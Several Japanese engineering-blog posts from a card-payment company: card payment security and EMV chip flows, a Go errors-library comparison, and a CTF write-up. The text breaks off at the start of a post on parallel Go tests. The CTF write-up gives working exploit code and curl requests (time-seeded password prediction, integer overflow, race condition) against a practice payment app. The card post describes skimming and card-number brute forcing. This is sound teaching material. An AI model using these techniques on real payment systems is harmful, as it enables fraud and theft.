カード決済のセキュリティ的な問題点とその対策、IC チップの決済とその仕組み

エンジニアの佐野です。カンムはカード決済のサービスを提供しています。カード決済にはいくつかの決済手段があり、マグストライプ、IC、IC非接触(俗に言うタッチ決済)、オンライン決済などの機能が提供可能です。iD のようなスマートデバイスにカード情報を入れてスマホでタッチ決済する仕組みもあります。カンムのプロダクトであるバンドルカードはマグストライプとオンライン決済、Pool はマグストライプとオンライン決済に加えて IC接触決済、IC非接触決済(タッチ決済)を提供しています。今日はセキュリティ的な観点から各種決済手段の特徴や問題点とともに、主に IC 決済の仕組みについて小ネタを交えつつ書いていこうと思います。カンムが提供しているカードは Visa カードでありクローズドな仕様や confidential なものについては言及することはできませんが、公開仕様であったり一般的な事柄のみを用いてなるべくわかりやすく書いていこうと思います。カード決済の仕組みや仕様は膨大であり一知半解な部分もありますので、もしそのような記述を見つけた場合はコメントいただけると幸いです。

  1. 前提知識
  2. マグストライプの問題点と対策
  3. オンライン決済の問題点と対策
  4. ICチップの統一規格EMVの登場
  5. ICチップ決済の処理フロー
  6. ICチップ決済(タッチ決済)のフロー
  7. まとめ

1. 前提知識

記事を読んでもらうための前提知識を書きます。カード決済の技術を説明するには決済周りの知識なしには説明が難しいところがあります。読者はまずは以下の点を抑えてください。

  • 業界構造
  • オーソリゼーション / オーソリ / Authorization
  • カードに入っている情報

1.1 業界構造

次の図はカード決済の仕組みを説明する際に私がよく出している図です。ブランド、加盟店/アクワイアラ、イシュア、ユーザが登場人物として存在します。ブランドがこの業界の中心にいてプラットフォームとルールの策定をしています。両サイドにアクワイアラとイシュアがいます。アクワイアラはブランドの名前を担いで店舗に「(Visa/Mastercard/JCB...)カード決済できるようにしませんか?」とカードを使える場所を増やすプレイヤーです。ユーザはあまりアクワイアラの存在を意識することがないかもしれません。ユーザはカード会社(イシュア)にカード発行を依頼し、発行が完了するとそのカードが使えるようになります。 まとめると、プラットフォームとルールを提供するブランド、カードを使える場所を増やすアクワイアラ、カードを使う人を増やすイシュア、カードを使うユーザ、が存在していてそこでお金がぐるぐる回るのがこの業界のエコシステムです。

1.2 オーソリゼーション / オーソリ / Authorization

似たような図ですがオーソリという言葉を覚えておいてください。これは実店舗、オンラインショップ関わらず、カードを使ったときにイシュアに飛んでくる電文です。カードのデータ、利用金額、店舗や使われた端末の情報などが入っていて、イシュアはそのデータを見て購入可否を判断して店舗に応答を返します。

1.3 カードに入っている情報

バンドルカードとPoolを例に説明します。

  • バンドルカード

https://kanmu.co.jp/news/20190509-newdesign/

  • Pool

https://pool-card.jp/creditcard/

(1) マグストライプ / 磁気ストライプ

Track データと呼ばれるデータが記録されています。Track データには PAN(カード番号のこと), 有効期限, セキュリティコード(CVV: Card Verificaiton Value。カード裏面の物とは別物。)... といった情報が入っています。Track データの仕様やフォーマットは公開されています(ref: ISO/IEC 7813 - Wikipedia)

(2) 署名

直筆のサイン。店舗で決済をした際に求められるサインと同じもの。

(3) カードホルダ名

ネット決済で入力するものはこちら。アルファベットの姓名。豆知識ですが Dr. のような敬称を入れることも可能です。

(4) PAN (Primary Account Number) / 会員番号

カード番号のことです。 業界内では PAN (パン)と呼ばれます。fPAN (Funding Primary Account Number) と呼ぶビジネスパートナーもいますが、付き合いのある会社では PAN という呼称が主流です。

(5) 有効期限

カードの有効期限です。これも豆知識ですが有効期限とは別に effective date (いつから使えるか?)という概念も存在します。

(6) セキュリティコード / CVV2

3桁の数字。ネット決済で入力を求められるものです。たまにこのカード裏面のセキュリティコードを CVV と説明しているサイトがありますが正式名称は CVV2 です。CVV はマグストライプに埋め込まれているものでこれとは別物になります。マグに記録されたセキュリティコード CVV の方はユーザが意識することはないので、対ユーザ向けにセキュリティコードと言うとこちらのカード裏面のものを指すのが一般的です。ビジネスパートナー間では CVV と CVV2 を言い間違えると認識齟齬に繋がったりします。また Visa ブランドでは CVV ですが Mastercard ブランドでは同様のものは CVC と呼ばれたりします。

(7) IC チップ

さて IC チップです。カンムでは Pool の方には搭載されています。ICチップには何が入っているか?ですが、まずはマグストライプと同様に Track データが入っています。こちらにも3桁のセキュリティコードが入っているのですがこちらは iCVV と呼ばれています。これの値もまた CVV, CVV2 とは別です。ややこしいですね。加えて IC チップには PIN (4桁の暗証番号)、 証明書、暗号鍵... などマグにはないデータ、さらに ATC (Application Transaction Counter)という決済回数を記録するカウンタ, PIN入力失敗回数を記録するカウンタ, その他大量の設定が入っています。 その他大量の設定というのは、例えばですが、話が一瞬店頭のカード端末の方に移るのですが、店頭のカード端末にはフロアリミットといって利用可能金額の上限値のような設定が入っていたりします。ICチップにはそれを超過した利用金額だった場合どうするか?というような設定があります。設定値はイシュアが IC チップを作る際に決定していて、前述の例の場合、決済拒否する?そのままイシュアにオーソリを投げる?というような挙動が決められています。他にも CVN (Cryptogram Version Number)と呼ばれる IC を使った決済の時にオーソリとともにイシュアに飛んでくるクリプトグラム(後述: オーソリの正当性を検証するために使う暗号文のようなものです)のバージョンを示す物など、普段カードユーザが意識することはないシステム的な情報も含まれます。

豆ですが PIN は4桁の暗証番号と書きましたが4桁以上にすることも仕様上は可能だったりします。また ICチップでの決済を行った際に加算されるカウンター、ATC の存在を書きましたがこれは2バイトのキャパシティがあり上限は 0xFFFF = 65535 です。つまりタッチ決済を含むICチップ決済を65535回以上行うとこのカウンタの上限を突破します。これを超えるとたぶんそのカードでの IC 決済は不可能になります。カードの有効期限を5年とした場合、IC を使った決済を毎日36回やり続けると5年以内にこれに到達する計算になります。

ATC はカード利用控えに印字されることもあります。次のカード利用控えに記載されている ATC 003E は 0x3E = 62 回目の IC 決済であることを示しています。16進数ではなく10進数で印字される場合もあります。

内部仕様をずけずけと書いて大丈夫か?と思うかも知れませんが、これらはカンム独自の仕様でもビジネスパートナーの仕様でもなく後述する EMV という公開された業界統一仕様です。

(8) ICチップが非接触決済 (タッチ)対応しているという意味のマーク

これは人間のためのマークです。ここに何かのデータが入っているわけではないです。

私の推測を含めた小ネタですが、カード端末側の話になってしまうのですが、端末にもこのマークがついていたりします。以前 Twitter で決済端末にこのマークがついているのに店員がタッチ決済させてくれなかった、というぼやきを見たことがあります。端末の方だとこのマークがついているのはハードウェアが非接触インターフェイスを備えているという意味であって、ソフトウェアであったり店舗側の業務も対応しているかは別問題です。なのでそのような場合は単純に店員が知らなかった可能性ももちろんありますが、業務が対応できていないという可能性も十分にあります。

2. マグストライプの問題点と対策

最も古典的なカード決済手段であるマグストライプの問題点とその対策について書きます。 マグストライプを使った決済はカードの磁気部分をカード端末にスワイプしてそのデータを読み取ります。ここの部分には Track データと呼ばれる PAN や有効期限が刻まれたデータが入っていることは述べました。これが端末から読み取られてイシュアに決済金額などとともにオーソリとして飛んできます。イシュアはカードが有効期限を超過していないか?CVVが正しいか?金額が利用可能枠内に収まっているかなどをチェックして問題なければ商品の購入ができます。

ここで主にセキュリティの面からみた問題点は次の2つになります。

本人確認が店員の裁量に任されているという点

マグストライプを使った決済の本人確認はどうしているのでしょうか?「サイン」です。そして店員はそのサインがカード裏面の署名と一致しているかどうかを目視で確認します。マグストライプはカード決済の中では最も古い決済手段で歴史を考えれば仕方がないことなのかもしれませんが、今の時代からすると一驚の本人確認方法になります。マグストライプ決済の仕組み上、イシュアはオーソリ時の本人確認プロセスに参加することができません。また、図中ではサインによる本人確認をしてからオーソリという形で書きましたが店頭のオペによってはオーソリを飛ばしてから事後にサインを求めるケースもあるかもしれません。

スキミングに対して脆弱な点

マグストライプにはセキュリティコード CVV が刻まれています。これは磁気データを偽装したとしても CVV が不一致であれば偽物されたカードであるという判定をすることに役立ちます。磁気カードは簡単に作れることに加えて Track データの配列も公開されています。そのため適当な PAN や盗んだ PAN を磁気データに入れたカードは比較的簡単に作ることができてしまいますが CVV でその正当性を確認するという仕組みです。 しかしいわゆるスキミングはどうでしょうか。マグストライプの Trackデータは平文がそのまま入っているため適当なカードリーダで読み取ると CVV を含めマグストライプのデータすべてをキャプチャすることができます。かなり昔からスキミング被害はカード業界やユーザを悩ませる種として存在しています。PCに接続できるカードリーダーも安価に手に入れることができるため今でもポピュラーな脅威として存在しています。もしそのようなデバイスを持っている方で興味がある人は試してみてください。カードリーダを PC に接続して外付けキーボードとして認識させてからマグをスワイプするとキーイベントが上がってきます。Linux であれば linux/input.h を利用してキーイベントを拾えるのでご自身の持っているカードのマグに何が入っているかを見ることができます。このようにマグストライプは非常に単純です*1

脅威は盗難、スキミングです。ユーザができる対策としては盗難の被害にあったらスマホから即座に利用停止にできるようなカードを使うことくらいでしょうか。またスキミングされて突如高額の請求が来てしまった場合はすぐにカード会社に身に覚えのない決済の申告をすることです。カード会社の裁量や、カード会社と不正利用のあった加盟店間で行われる業務プロセス(チャージバックと呼ぶ)の状況にも依りますが全額返ってくることもあります。イシュア、加盟店といったサービス提供側ができる対策としては PIN 入力ありの IC 決済をなるべく使ってもらうことです。

イシュアが単独でできる対策としては決済トランザクションの異常検知があります。金額的、地理的、時間的な不自然さをモニタリングすることで不正防止につなげることができます。例えば日本の実店舗で1000円の決済トランザクションが発生した10分後に同様のカードでアメリカの実店舗で10ドルの決済トランザクションが発生したら不自然である、というような。

3. オンライン決済の問題点と対策

オンライン決済についても同様に書きます。こちらはオンラインショップのサイトに PAN, 有効期限, CVV2 を手入力して決済を行います。マグストライプが Track データや決済金額をオーソリに乗って飛んでくるのと同様、こちらは手入力されたデータがオーソリに乗って飛んできます。本人確認は強いて言うなら CVV2 の入力でしょうか。セキュリティコードの用途はあくまでカードの正当性だと自分は理解しています。なので図中には本人確認という文言は入れておりません。

ここで問題点は次の通り。

ブルートフォース攻撃に弱い点

カード番号にはある程度の法則性があり、また有効期限は4桁の数字、CVV2 は3桁の数字なので単純なブルートフォース攻撃で不正被害を受けることがあります。これはクレジットマスター攻撃と呼ばれていてポピュラーな不正手段です。店頭で人力で決済を行うのではなくウェブで行うことができるのでちょっとパソコンに詳しい攻撃者がプログラマブルに不正を仕掛けることもできます。

カード番号、有効期限、CVV2 といったカード両面の情報を記憶されると不正利用ができてしまう点

ブルートフォース攻撃以前にそもそも他人にカード番号と有効期限とCVV2を記憶されてしまうとそれだけで不正利用されてしまいます。記憶力という武器を使った次のような事件も起きています。

www.gizmodo.jp

ユーザ、イシュア、加盟店それぞれが行うべき対策としては、決済時にワンタイムパスワードを使うようにする、3D セキュアに対応する、などがあります。ユーザ、イシュア、加盟店それぞれと書いたのは、これらの対策はまずイシュア・加盟店双方が対応している必要があるというのと、ユーザがカード発行時やその後の設定、ECサイトでの設定でワンタイムパスワードを使うというような設定があった場合、それらを有効にしておく必要があり、サービス提供側、ユーザ側それぞれ合わせ技の対策を講じておく必要があるためです。 バンドルカードと Pool はともに 3D セキュアに対応しています。そちらの詳細は https://tech.kanmu.co.jp/entry/2022/06/27/135210 をご覧ください。3D セキュアは簡単に言うと、オンライン決済で購入ボタンを押下したあとにカード会社からカードを発行する際に設定したパスワードや、登録した電話番号に SMS が飛んできてそれを入力してその認証が通れば本丸の決済に進むことができるような仕組みです。ちなみに3Dセキュアも正確に言うと EMV 3Dセキュアと呼ばれ、後述する統一された業界仕様になります。

加えてですが、イシュア単独でできる対策も存在しています。例えばマグストライプ同様に決済トランザクションの異常検知やモニタリング、CVV2 や有効期限を連続で何回か間違えたらロックをかけるなどです。

4. ICチップの統一規格EMVの登場

ここで IC チップの登場です。現在、ほとんどのカード会社において IC チップは標準的に搭載されるようになっています。ICチップの目的の1つはマグストライプの欠点を埋める、つまりセキュリティの強化です。サインのみで本人確認がされていたのに対し、IC 使用時は4桁の暗証番号(PIN)の入力が必要になります。手書きのサイン+店員による目視確認と比べるとより確実な本人確認となります。 その IC チップですが各ブランドやカード会社が独自に開発しているわけではありません。EMV と呼ばれる統一規格をもとに開発をしています。この規格は Europay International, Mastercard, Visa が共同で策定したためその頭文字をとって EMV と呼ばれています。ICチップ搭載のカードはEMV対応カードと呼ばれたりもします。「1.2 カードに入っている情報」で少し触れた ATC, CVN や PIN の誤り回数のカウンタなどの仕様は EMV で決められています。おそらく Mastercard や JCB ブランドのカードの IC チップにも同じようなものが入っているでしょう。EMV の仕様書は次のサイトからダウンロードすることができます。

www.emvco.com

5. ICチップ決済の処理フロー

ICチップを使った決済の処理フローは次の通りです。先述のマグストライプ、オンライン決済と比べると少し複雑になっています。図は EMV のドキュメントから拝借しています。

EMV 4.3 Book 3 Application Specification

まずカードをカード端末に挿します。するとカード端末が IC の情報を読み出し -> Data Authentication (カードの正当性の確認) -> Cardholder Verification (本人認証: PIN の入力など) -> 後のフェーズの挙動を決定する処理(Terminal Risk Management, Terminal Action Analysis, Card Action Analysis) -> 必要であれば Online Processing & Issuer Authentication (取引認証: オーソリの正当性の確認とオーソリ自体の処理)と Script Processing を行う -> 買い物OK/NG という流れとなります。

もう少しわかりやすく本記事の趣旨になる部分のみを強調して書くとこうなります。

5.1 Data Authentication カード認証

Data Authentication は我々はカード認証と呼んでいます(正確にいうとカード認証の一部ですが...)。これは何かというと IC に仕込まれた証明書をカード端末が検証するフェーズです。マグストライプではCVV を利用して偽装防止を行いますが、IC では証明書の検証によって IC が偽装されていないかをチェックします。仕様のポイントとしてはここで検証 NG になってもエラーになるとは限らないという点です。IC に入っている設定の1つとして、もし Data Authentication でNGになったらどうするのか?という設定があります。この設定によって Data Authentication がNG の場合にそのまま次のフェーズに進むのか?NGとして拒否するのか?が決まっています。次のフェーズに進む、にしてある場合、最終的には Online Processing & Issuer Authentication のフェーズでオーソリに Data Authentication の結果が入ってくるのでイシュアはそれをちゃんと見てOK/NGを判断する必要があります。

5.2 Cardholder Verification 本人認証

続いて Cardholder Verification 、つまり本人認証です。PINを入力するのが主流ですが、IC や 端末の設定であったり店員のオペであったりによりこれは可変します。たとえば IC を挿入したけどレシートやタブレットにサインを書き、結局はサインによる本人確認が行われるケースもあります。皆様も経験があるかもしれません。 また、逆に例えば普段コンビニでカードを使うと PIN を求められることはあまりないと思いますが、ためしに高額の買い物(たしか合計10000円以上)をしてみてください。ICチップかつPIN入力必須の処理に移行すると思います。状況によって求められる本人認証方法が変わるのがこのフェーズの特徴です。 PIN 入力の場合、ユーザが PIN を入力してそれが照合されると本人確認がOKとなり次のフェーズに進みます。ちなみに PIN の照合ですが、場合によってはイシュアに PIN が飛んできてそれの照合をイシュアが行うケースもあります(オンラインPINと呼ぶ)。オンラインPIN の場合は次の Issuer Authentication のフェーズでオーソリとともに暗号化されたPINが飛んでくるのでそれを復号してユーザがカード発行時に設定したPINと一致しているかを確認する必要があります。

5.3 Issuer Authentication 取引認証

最後は Online Processing & Issuer Authentication です。オーソリ自体の処理(利用枠内の決済金額か?有効期限は過ぎていないか?etc)に加えて、オーソリの正当性を検証するフェーズです。IC には証明書や各種設定が入っている旨述べましたが、カード固有の鍵もいくつか入れてあります。このフェーズではそのうちの鍵の1つである ICC Master Key と呼ばれるものを利用して、端末の情報とICの情報、買い物金額などの情報から ARQC (Authorization Request Cryptogram)と呼ばれるクリプトグラムが生成されます、この生成には 3DES などの一般的な暗号化アルゴリズムが用いられます。AES ではなく 3DES というのが気になる点ですが、秘匿化するために暗号化を施しているというよりはクリプトグラムを生成する過程で暗号化アルゴリズムを利用しているので問題はないかもしれません。 イシュアはオーソリとともに飛んできた ARQC を検証し、オーソリ自体が改ざんされていないかのチェックを行います。イシュア側での検証は、イシュア側でも ICC Master Key を使って同様のアルゴリズムで ARQC の生成を行いそれの照合を行う形となります。こちらのアルゴリズムについても EMV の仕様書に詳細が書かれているので興味がある方は追ってみてください。

5.4 その他の処理

Terminal Risk Management, Terminal Action Analysis, Card Action Analysis, Script Processing についても少し触れておきます。Terminal Risk Management, Terminal Action Analysis, Card Action Analysis は購入金額であったり、端末に挿入されたカードのICチップの設定や決済の履歴(前回の決済のOK/NG結果は記録されているはず)、Data Authentication の結果がどうだったか、などを総合してそこでなんらかの制限をかけたり、 Online / Offline Decision の分岐を決めるようなフェーズです。Online / Offline Decision の分岐で Offline となった場合はオーソリがイシュアに飛んでこないケースもあると思われます。カンムの IC の設定は必ずオーソリをオンラインに飛ばす設定で作ってありますがオフラインで完結するケースも例外としてあります。オフラインで完結した場合、後日飛んでくる実売り上げ (https://tech.kanmu.co.jp/entry/2021/06/29/131649 の「1.2. オーソリとクリアリング」参照)で決済金額が確定します。

Script Processing ですが、カンムのカードにはその仕組みを入れていないのであまり詳しく調べていないのですが、イシュア側から IC チップのデータを操作するような仕組みです。PIN入力失敗回数を記録するカウンタが IC に入っていることは述べました。PIN 入力を連続で間違えるとカウントアップしていき、それが閾値(これも IC に入ってます)を超えるとICチップの利用が制限されます。閾値に到達する前に正しい PIN が入力されるといったんリセットされるのですが、閾値に到達してしまい制限がかかってしまった場合はどうやってリセットするのでしょうか?ここで登場するのが Script Processing のフェーズで実行される Issuer Script という仕組みです。これを使うと PIN 入力失敗回数が上限に達した場合もそれをリセットすることができます。カンムのカードは実装していないので、連続で間違えるとカードが使えなくなり再発行する流れになります。推測ですが、おそらく多くのカード会社はこれを実装していないと思います。他社のカードについて調べると、PIN を複数回連続で間違えてロックがかかった場合は再発行します、と書かれている会社が多いので。

6. タッチ決済の処理フロー

タッチ決済のフローですが「5. ICチップ決済の処理フロー」のフロー図とほぼ同じで、ここから本人認証をスキップしたものがタッチ決済のフローになるイメージです。ただ正確にいうと Cardholder Verification は行われるため、リスク分析の結果として PIN ありの IC に移行する可能性もあります。セキュリティの向上のために IC チップ搭載のカードが登場したが今度は利便性のためにPIN入力をスキップしたタッチ決済が後から登場するのがおもしろいところです。

7. まとめ

  • 各種決済手段のセキュリティ的な問題点とその対策について説明した。
  • マグストライプは本人確認がサインの目視確認という点で弱く、スキミングの脅威もある。
  • オンライン決済は本人確認がなく、強いて言うなら CVV2 の入力だが、ブルートフォース攻撃に弱く、カード券面を見られてそれを記憶されてしまうと不正利用できてしまう。
  • 対策方法は存在しているがイシュア側や加盟店側の対策に加えてユーザ自身も不正利用のリスクを意識する必要がある。
  • IC はマグストライプの弱点であるセキュリティ面の強化がされていて、カード認証、本人認証、取引認証という概念がある。カード認証によりチップの改ざん検知を、本人認証にPINが使えることによりサインよりも強力な本人確認を、取引認証でオーソリの完全性を担保することができる。

最後はお約束のこちら↓になります。個人的には今は泥臭い不正対策で頑張っているのでそこをリッチにしていきたいと思っています。それをやりたいような人に来てもらえると嬉しいです。マグストライプのセキュリティの弱さを埋めるために IC が登場しましたがこちらにももちろん穴はあり、また不正利用のトレンドや手段は年々変わるのでイシュアとして常にそれをモニタリングして防御する必要があり、そこもやっていきたいです。

kanmu.co.jp

おわり

*1:なおスキミングは犯罪です。本記事から得られた知識を悪用した場合の責任は一切負いません。

次なる`pkg/errors`を探して

エンジニアの宮原です。 今回はGoでスタックトレースを取得するライブラリ選定についての記事です。
この記事は 【Gophers Talk】スポンサー4社による合同LT & カンファレンス感想戦で発表したものです。 発表スライドはこちらから確認できます。

この記事の目的

この記事ではpkg/errorsからの移行先を探すための参考情報を提供することを目的とします。 Goのエラーハンドリングのやり方等についてこの記事では触れないこととします。

pkg/errors とはなにか

pkg/errorsとは、githubのREADMEを引用すると

Package errors provides simple error handling primitives.

とあり、直訳すると、「エラーハンドリングの基礎を提供するパッケージ」となります。 pkg/errorsを利用することで、Go本体にはないスタックトレースを簡単に実現できます。 また、Go1.20でJoinが追加されるまでは、標準errorsのスーパーセットとなっていたという点も特徴でした。

pkg/errors からなぜ移行するのか

重複する記述になってしまいますが、Go1.20で標準errorsに更新が入り、pkg/errorsとの間に差分が発生しました。 この差分は解消する見込みがありません。プロジェクトとしてPublic Archiveとなってしまっているからです。

Public Archiveとなった経緯についてすこし補足します。
前回の標準errorsの更新(Go1.13)で修正の元となったGo2 Draft Designs というドキュメントがあります。このドキュメントではいずれGo本体からスタックトレースが提供されることが示されました。 つまり、将来的にpkg/errorsが不要になることがほぼ確定しました。そのタイミングでpkg/errorsはメンテナンスモードになり、さらにすすんで2021年12月にPublic Archiveに至った、という経緯のようです。

移行先に求めるもの

3 点あります。

「移行のしやすさ」は、標準errors、pkg/errorsとの互換性です。 ここでいう互換性とは、「関数、メソッドのシグニチャが一致しているか」、「機能をもれなくカバーしているか」といった点を想定しています。 Go本体への追従のしやすさを高めることと、今回の移行作業のコストを抑えることにつながります。

スタックトレースのサポート」は pkg/errorsがカバーしていた範囲を引き継ぐ必要があるためです。スタックトレースは、バグ解消に直結する情報を含むので重要です。

「性能が大きく劣化しないこと」は速い方がいい、メモリフットプリントは小さいほどよい、というシンプルな理由です。

移行の選択肢

最終的な候補となったのは以下2つのライブラリでした。

これらを深く見ていく前に、検討したものの詳しい調査の対象外としたライブラリについて触れておきます。

一度候補となったものの、細かい調査の対象外としたもの

xerrorsについて。Goチームが提供していたライブラリです。レポジトリのREADMEから確認できますが、このライブラリはGo1.13までの橋渡しとしての位置付けであり、すでに役割を終えたと言えるでしょう。すでに大部分がdeprecatedにもなっており、これから採用するべきではないと判断しています。

morikuni/failureについて。エラーコードベースのハンドリングを前提としており、pkg/errorsとは使われ方が異なるので、今回は移行のハードルが高いと判断しました。以下リンクが参考になります。 https://future-architect.github.io/articles/20200522/ https://speakerdeck.com/morikuni/designing-errors?slide=33

標準ライブラリを使った自前実装について。スタックトレースにたいして固有の要件というのはなく、改めて開発するメリットが薄いため、除外としています。

ということで、再掲ですが、最終的な候補ふたつcockroachdb/errorsgoark/errsを「 移行のしやすさ」、「スタックトレースのサポート」、「性能が大きく劣化しないこと」の点で評価していきます。

移行先の評価

前述した要件について箇条書きで記載します。

cockroachdb/errorsの評価

  • 移行のしやすさ
    • pkg/errorsのスーパーセットとなっており、基本的にはパッケージを切り替えるのみで、ほとんど置き換え作業が終わる点は魅力的です。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があるものの、issueで対応中のようでした。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

goark/errsの評価

  • 移行のしやすさ
    • pkg/errorsとは、New、Wrapなど一部の関数は互換性あります。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があります。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

ベンチマーク

性能評価のために、簡易なベンチマークを取りました。
benchmarkのテストコード、結果はこちらです。
「ネストしたerror生成時の速度とフットプリント」、「スタックトレース出力時の速度とフットプリント」の2つのケースについて、結果を抜粋して見ていきます。

※以下の結果は、マイクロベンチマークであり、実際の環境では異なる結果となる可能性があることに注意してください。

ネストしたerror生成時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 8240 304 3
cockroachdb/errors 8640 416 7
goark/errs 7885 648 7

cockroachdb/errorsは、速度約5%pt、メモリ使用量約37%pt悪化、
goark/errsは、速度約4.5%pt改善、メモリ使用量は約2倍に悪化
という結果となりました。

スタックトレース出力時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 12849 3716 33
cockroachdb/errors 14867 17222 22
goark/errs 1896 1401 33

cockroachdb/errorsは、速度が約15%pt、メモリ使用量が約4.6倍に悪化、
goark/errsは、速度が約6倍改善、メモリ使用量は63%pt改善
という結果となりました。

最後に結果をまとめた表を示します。

評価まとめ

package 標準errorsとの互換性 pkg/errorsとの互換性 スタックトレースのサポート 性能
errors(比較用) - - -
pkg/errors (比較用) ❌※1※2 - ⭕️ baseline
cockroachdb/errors 🔺※1 ⭕️ ⭕️ 🔺
goark/errs 🔺 ※1 🔺 ⭕️ ⭕️
  • ※1: いずれもGo1.13時点でのIs, As, Unwrap対応済み. Go1.20時点でのJoinは未実装
  • ※2: 今後もサポートされる見込みがないため、相対的に悪い評価をつけている

記事のまとめ

今回は最終的にcockroachdb/errorsがpkg/errorsの移行先の本命と評価しています。
移行のしやすさ(互換性)の面では、pkg/errorsのスーパーセットとなっており、置き換えが容易である点を評価しました。 性能については悪化するものの、自社でのAPIサーバーとしてのユースケースでは、ネットワーク往復の時間が支配的であることから劣化は問題ない範囲であると判断しました。

最後に、今回の評価が唯一の正解ではありません。それぞれの文脈、ユースケースを踏まえたうえで、ベストな選択肢を検討することが重要です。 上記はライブラリ選定の一例として参考していただけると幸いです。

Go Conference 2023 CTF: 標準ライブラリの利用ミスに関わる脆弱性

セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。

問題はこちらになります。

github.com

本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください!

1. 問題の解説

今回出題した問題は、バンドルカードのような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。

  • パスワードリセット
  • 残高確認
  • 送金

この問題では、残高が9,999,999を超えたときに残高確認APIにアクセスすることでフラグが出力されるようになっています。 まず既存のアカウントにアクセスすることを目指してもらい、次に残高を増やすことを目指してもらうという2段構成になっています。

2. 出題の意図

2021年頃に標準ライブラリにおける既知の脆弱性を利用した問題を出題していました。

tech.kanmu.co.jp

ここから発展させて何かできないかを考えて、 「言語や標準ライブラリに脆弱性がなくとも、標準ライブラリの利用方法によっては脆弱性になりうる」 というメッセージを伝えられる問題になれば良いなと考えて問題を作成しました。

3. 想定解

ここからは想定解の解説を行います。 想定解は以下の通りです。

  1. math/randの脆弱なシードを使って既存のアカウントにアクセス
  2. Integer overflowを使ってお金の増殖
  3. TOCTOUでアカウントの上限金額をバイパス

これらについて、順番に解説します。

1. math/randの脆弱なシードを使ってアカウントにアクセス

このAPIにはアカウント登録機能がありません。 残高確認や送金を行うためには、既存のアカウントにアクセスする必要があります。

アカウント名はハードコーディングされているためすぐに分かりますが、パスワードはgeneratePassword関数で生成されているため、すぐには分かりません。

パスワードが更新されているのは、初回起動時とパスワードリセットAPIの2箇所のみです。

users[req.Id].Password = generatePassword(time.Now().Unix())

パスワードリセットAPIに注目してみると、精度が秒のUnixtimeが利用されており、推測可能です。

以下のようなコードでパスワードを取得できます。

password := generatePassword(time.Now().Unix())
passwordReset(&User{Id: "alice"})
passwordReset(&User{Id: "bob"})
fmt.Println(password)

これで alice / bob のアカウントにアクセスできるようになりました。

2. Integer overflowを使ってお金の増殖

alice / bob のアカウントにアクセスできるようになりましたが、aliceもbobもお金を持っていないようです。 何かしらの脆弱性を悪用してお金を増やさなければなりません。 3つある機能のうち、お金の増減があるのは送金機能のみなので、ここに注目します。

まずは適当に送金してみます。

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "1"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: Qam86lQgE6c2' -d '{"recipient_id": "bob", "amount": "-1"}'
{"error": "Amount validation failed: -1"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "9999999999999"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: VBjIzAlNLhXj' -d '{"recipient_id": "bob", "amount": "-9999999999999"}'
{"error": "Amount validation failed: -1316134911"}

いろんな数値を試しながら送ってみると、-9999999999999を送金しようとしたときに-1316134911という数値がエラーメッセージに出ていることに気づきます。

なにやら数値がオーバーフローしていそうなので、送金する数値をうまく調整することでお金を生み出せそうです。

from := &User{Id: "alice", Password: "VBjIzAlNLhXj"}
to := &User{Id: "bob", Password: "VBjIzAlNLhXj"}

transfer(from, to, strconv.Itoa(math.MinInt64+1000000))

「int64型の最上位bitのみ立っている数値 (math.MinInt64) + 送金したい金額」を送ることで、バリデーションをすり抜けてお金を増やすことができました。

3. TOCTOUでアカウントの上限をバイパス

このアプリケーションには、アカウントの上限金額が設定されているため、最後にこれをバイパスしなければなりません。

   if users[to].Balance+int32(amount) > 9999999 {

コードを読んで気づくしか無いのですが、実は送金APIにはロックがありません。 そのため並列に送金APIを呼び出すと、上記のバリデーションをすり抜けてしまいます。

goroutineを使って、並列に送金APIを呼び出してみます。(環境や設定によっては並列で動かない場合もあります。)

var wg sync.WaitGroup
for i := 0; i < 10; i++ {
    wg.Add(1)
    go func() {
        defer wg.Done()
        transfer(from, to, strconv.Itoa(math.MinInt64+1000000))
    }()
}
wg.Wait()

flag, _ = balance(to)
fmt.Println(flag)

これでフラグゲットです!お疲れさまでした!

4. 終わりに

CTFは楽しんでいただけたでしょうか!

カンムではエンジニアを募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。

kanmu.co.jp

最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!

無理なく始めるGoでのユニットテスト並行化

KanmuでPoolを開発しているhataです。最近、ロボット掃除機を買いました。ロボと猫がじゃれている景色はいいですね。 今回はGoのユニットテストの並行化についての記事です。

TL;DR

  • Goのテストは、並行化することでテスト実行時間の短縮やテスト対象の脆弱性の発見などのメリットがある

  • 基本的にはそのままでも最適化されているが、テストコードにt.parallelを記述することでよりきめ細やかな最適化を施すことができる

  • ただし、一定規模以上のアプリケーションへの導入・運用は大変

  • テストコードを一気に並行化するtparagenというツールや、並行化忘れを防ぐ静的解析ツールがあり、これらを使うことで無理なくテスト並行化の導入・運用ができる

はじめに

ユニットテスト並行化とは

本記事では、「並行」「並列」という用語を使用します。本記事におけるこれらの用語を定義します。

  • 並行:複数の処理を独立に実行できる構成のこと

  • 並列:複数の処理を同時に実行すること

参考1 1 参考22

本記事のタイトルにもある「ユニットテスト並行化」は、「個々のテストを独立に実行できる構成にすること」と言い換えることができます。

記事で紹介するGoの標準パッケージtestingにはt.Parallel-parallelというメソッド・機能があります。これらは用語の定義とは別として、本記事では固有名詞として扱います。

この記事の内容・目的

